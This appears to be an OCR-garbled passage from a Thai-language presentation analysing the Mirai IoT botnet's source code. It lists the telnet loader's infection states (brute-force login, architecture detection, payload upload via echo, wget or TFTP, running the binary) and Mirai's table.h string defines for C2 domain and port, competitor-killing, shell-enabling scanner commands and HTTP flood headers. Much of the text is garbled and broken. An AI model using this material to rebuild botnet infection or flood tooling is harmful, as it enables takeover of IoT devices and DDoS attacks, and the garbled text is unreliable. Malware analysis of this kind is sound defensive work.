if (consumed)

#ifdef DEBUG

printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn-

>info.writedir);
#endif

& Y = = . a N o Y & & Y
PNLARMUUUEINTHVE switch( ... ) case Inarensaliliiiunnduneulunisidigssuuiay

NIIATIVADUAINTIENITAIN

TELNET_READ_IACS:
TELNET_USER_PROMPT:
TELNET_PASS_PROMPT:
TELNET_WAITPASS_PROMPT:
TELNET_CHECK_LOGIN:
TELNET_VERIFY_LOGIN:
TELNET_PARSE_PS:
TELNET_PARSE_MOUNTS:
TELNET _READ_WRITEABLE:
TELNET _COPY_ECHO:
TELNET _DETECT ARCH:
TELNET_ARM_SUBTYPE:
TELNET UPLOAD_METHODS: finsel UPLOAD_ECHO UPLOAD WGET UPLOAD TFTP
TELNET_UPLOAD_ECHO:
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TELNET UPLOAD WGET:

TELNET UPLOAD TFTP:

TELNET RUN_BINARY:
TELNET CLEANUP:

4.7 asreivaiudayalulin

(%
a [

Tunisasiwnsadierivtoyasing 4 Tulusunsu Mirai dfvanemseglu table.h uaz table.c

U5eNaumMenIs199nIl

/* Generic bot

#define TABLE_PROCESS ARGV
#define TABLE_EXEC_SUCCESS
#define TABLE_CNC_DOMAIN
#define TABLE_CNC_PORT

/* Killer data */

#define TABLE KILLER SAFE
#define TABLE KILLER PROC
#define TABLE KILLER EXE

#define TABLE KILLER DELETED

#define TABLE_KILLER FD
#define TABLE_KILLER ANIME
#define TABLE_KILLER STATUS
#define TABLE_MEM_QBOT
#define TABLE_MEM_QBOT2
#define TABLE_MEM_QBOT3
#define TABLE_MEM_UPX
#define TABLE_MEM_ZOLLARD
#define TABLE_ MEM_REMAITEN

/* Scanner data */

8 /%" (deleted)" */
)\ W2
10 /% .anime */
1
12
13
14
15
16
17
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#define TABLE SCAN_CB DOMAIN
#define TABLE_SCAN_CB PORT
#define TABLE_SCAN_SHELL
#define TABLE SCAN_ENABLE

*/

#define TABLE_SCAN_SYSTEM

*/

#define TABLE_SCAN_SH

#define TABLE SCAN QUERY
#define TABLE_SCAN_RESP
#define TABLE_ SCAN_NCORRECT
invalid password */

#define TABLE SCAN PS

#define TABLE_SCAN KILL 9

/* Attack strings */

#define TABLE ATK VSE
#define TABLE. ATK RESOLVER
#define TABLE ATK _NSERV

#define TABLE _ATK KEEP_ ALIVE
#define TABLE_ATK ACCEPT
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18 /* domain to connect to */
19 /* Port to connect to */
20 /* 'shell' to enable shell access */

21 /*'enable' to enable shell access

22 /* 'system' to enable shell access

23 /*'sh' to enable shell access */
24 /* echo hex string to verify login */
25 /* utf8 version of query string */

26 /* 'ncorrect' to fast-check for

27 /* "/bin/busybox ps" */
28 /*"/bin/busybox kill -9 " */

29 /* TSource Engine Query */
30 /* /etc/resolv.conf */

31 /* "mameserver " */

32 /*"Connection: keep-alive" */

33 //"Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"

/] %
#define TABLE_ATK _ACCEPT _LNG
US,en;g=0.8"

#define TABLE_ATK_CONTENT TYPE

www-form-urlencoded"

#define TABLE_ATK SET COOKIE

34 // "Accept-Language: en-

35 // "Content-Type: application/x-

36 // "setCookie("
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#define TABLE_ATK REFRESH HDR 37 // "refresh:"

#define TABLE_ATK LOCATION HDR 38 // "location:"

#define TABLE_ATK SET COOKIE HDR 39 // "set-cookie:"

#define TABLE ATK CONTENT LENGTH HDR 40 // "content-length:"
#define TABLE_ATK TRANSFER ENCODING HDR 41 // "transfer-encoding:"
#define TABLE_ATK CHUNKED 42 // "chunked"

#define TABLE ATK KEEP ALIVE HDR 43 // "keep-alive"

#define TABLE ATK CONNECTION HDR 44 // "connection:"

#define TABLE ATK DOSARREST 45 // "server: dosarrest"

#define TABLE_ATK CLOUDFLARE NGINX 46 // "server: cloudflare-nginx"

/* User agent strings */

#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103
Safari/537.36" */

#define TABLE HTTP_TWO 48 /* "Moxzilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36" */

#define TABLE HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103
Safari/537.36" */

#define TABLE_HTTP_FOUR 50 /*"Mozilla/5.0 (Windows NT 6.1;
WOWe64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116
Safari/537.36" */

#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac
OS X 10 11 6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2
Safari/601.7.7" */



#define TABLE_ MAX_KEYS 52 /* Highest value + 1 */

Tnouvaudau q fasioluil
A139EN5U Process
#1398 M5U CNC killer data
#151981%5U Scanner data
A1INEINTU Attack strings

A139ENTU User agent strings
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ELF Format

ELF header

Program header table

text

.rodata

.data

Section header table

&,
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badbot.c

int main(int argc, char args)

printf("REPORT %s:%s\n", "127.0.0.1", "80")

sleep(1)
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nogdb.c
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